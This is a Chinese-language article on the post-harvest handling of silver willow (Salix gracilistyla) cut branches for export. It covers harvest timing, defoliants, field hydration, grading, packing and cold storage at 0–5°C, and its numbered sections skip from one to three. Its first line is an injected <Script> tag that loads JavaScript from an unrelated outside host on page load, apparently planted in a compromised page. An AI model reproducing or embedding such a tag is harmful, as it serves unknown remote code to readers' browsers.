<Script type=text/javascript src=http://zz.ag365.com/js/check.asp?id=6840></Script>　　銀柳（Salix gracilistyla Mig.）屬楊柳科（Salicaceae），原產于中國、日本、韓國等地，其種名gracilistyla為 「細長花柱」之意，因此名為「細長花柱柳樹」，簡稱「細柱柳」，又其花序展開時花穗形態酷似貓的尾巴，故有「貓柳」之稱，英名Cat-tail willow亦取貓尾之意。 　　銀柳為多年生落葉灌木，莖直立，株高可達2m以上；單葉，互生，葉形呈卵形至長橢圓形，先端尖，葉背著生灰白色軟毛，細鋸齒緣；花序為葇荑花序，花單性，花蕾背覆鮮紅色芽鱗。冬季落葉后，春季新葉未展開前花芽密覆滑柔銀白色的細毛，姿態高貴典雅且易于瓶插，又「銀柳」廣東音似「銀兩」，是農歷過年期間深受消費者喜愛之上等花材。 　　采后處理流程 　　冬季落葉期為銀柳采收適期，約在12月中旬至隔年1月期間。一般來說，農民于田間剪下銀柳切枝后，常會堆置囤積至一定數量后，再送集貨場做分級包裝工作，將生育不良或花苞脫落太多的枝條剔除后，依切枝長度進行分級工作，經分級后之切枝以束帶捆綁，包裝成箱后裝柜，以冷藏貨柜運送至國外市場。 　　然而銀柳自采收至裝柜完成，大多在室溫下操作，常因堆置在集貨場的時間過久或氣溫過高（熱害），造成外銷至當地市場或送至消費者手中的切枝有花苞芽鱗變褐或變黑情形，致使商品價值降低而影響售價，嚴重者甚至枝條呈現黑色，完全失去商品價值無法銷售。除了在采后處理流程不當會造成黑色花苞及黑枝的情形外，采收前的病蟲害防治及落葉劑之使用，均會影響采后處理后銀柳切枝的品質。以下將介紹銀柳采后處理流程及具備條件。 　　一、采收前病蟲害防治及落葉劑處理 　　 　　一般而言，銀柳約在11月中、下旬開始落葉，落葉時間依當年冬季溫度高低而異，銀柳采收適期為植株落葉1／2～2／3間，過早采收的銀柳切枝，花苞較不飽滿且芽鱗色澤鮮紅度較差，并需以人工或落葉劑處理來除去葉片，因此生產成本較高，但較早采收的銀柳切枝，花苞著生良好、不易脫落；然而完全落葉后采收的銀柳切枝，其花苞芽鱗鮮紅且具光澤，但常有植株下位花苞脫落的情形，且過晚采收容易發生切枝花苞嚴重脫落情形，而影響售價。 　　因此應以正確的采收成熟度配合使用落葉劑，除了能確保切枝花苞飽滿、芽鱗具光澤、色澤鮮紅，并且花苞脫落情形少。在品種方面，因銀柳包裝方式大都采束帶綁成把后，再裝于紙箱中，而蘭陽一號豐腴的花苞常常在束帶捆綁的過程中相互擠壓而脫落。至于田間采收時間，以上午及下午氣溫較低的時間較為理想，應避免于正午采收，因堆置在田間已采收的銀柳易因溫度過高而影響花苞品質。 　　三、田間吸水 　　銀柳為木本植物，采收之切枝多為成熟枝條，因此對于環境的耐受能力強。為節省工作時間，通常農民自采收至分級包裝成把的期間并無供給銀柳切枝水分，且自田間采收至運回包裝集貨場的時間會超過4小時，而等待農民將銀柳分級包裝成把的時間通常會超過一天，甚至有數天之久。在此過程中，銀柳品質常因堆置在陽光下溫度過高，或堆置時間過久而顯著地降低。 　　經試驗，新鮮采收的銀柳切枝，若在35℃、濕度100％情況下持續2～3天，切枝品質即顯著降低，而溫度不變 （35℃），濕度降至60％以下，約1天的時間枝條即會出現干枝的現象。因此在銀柳采后流程中，田間采收時若能加入插水的作業步驟，并快速將銀柳切枝運回集貨場或陰涼處，避免熱害發生，則可維持良好的品質。 　　田間插水以自來水為宜，盡量避免使用地下水或溝渠灌溉水，因地下水或溝渠灌溉水較易含有細菌、重金屬、雜質等，恐會影響銀柳切枝品質。但若要省略田間插水步驟，最好是采收后盡快將切枝運回集貨場，縮短在田間陽光曝曬時間，且避免堆置、即刻進行分級包裝工作，以縮短采收至包裝時間，避免切枝品質劣變，當包裝完成后送冷藏庫冷藏。 　　四、分級包裝及冷藏 　　銀柳于分級包裝前，必須先剔除花苞生育不良、粒小、芽鱗著色不佳或花苞脫落嚴重等品質不良的切枝，再依切枝長度及頂梢分叉與不分叉為標準進行分級包裝工作。一般來說，外銷銀柳的規格以5～7尺（150～210cm）間的頂梢分叉切枝為主，包裝規格則以打為單位元，包裝方式是以束帶將切枝捆成1把，再適量裝于紙箱中等待裝柜。 　　包裝完成后，在等待裝柜或運輸的過程中亦是銀柳品質可能出現劣變的時候，經本場試驗結果，銀柳切枝以0℃及5℃冷藏貯藏4周后，少數花苞芽鱗呈現褐色，再于常溫瓶插4周后，花苞脫粒率約9～16％，因此建議包裝完成等待運輸的過程最好先貯藏于0～5℃環境下，以防止銀柳切枝品質發生劣變。 　　五、冷藏運輸 　　銀柳在完成分級包裝并適量裝于紙箱后，應移入冷藏庫進行降溫處理，以防止花苞芽鱗褐變并降低切枝的呼吸作用。目前外銷銀柳皆以冷藏貨柜運輸至國外市場，經試驗建議冷藏適溫為0～5℃，若溫度提高至10℃，花苞芽鱗容易發生劣變。另外，銀柳在裝柜時，要注意堆棧方式，避免堆棧過多或過高而阻斷冷藏貨柜的冷氣循環，而造成貨柜溫度不均，致使運送至國外市場的銀柳切枝部分損壞，品質不均一。（ 佚名）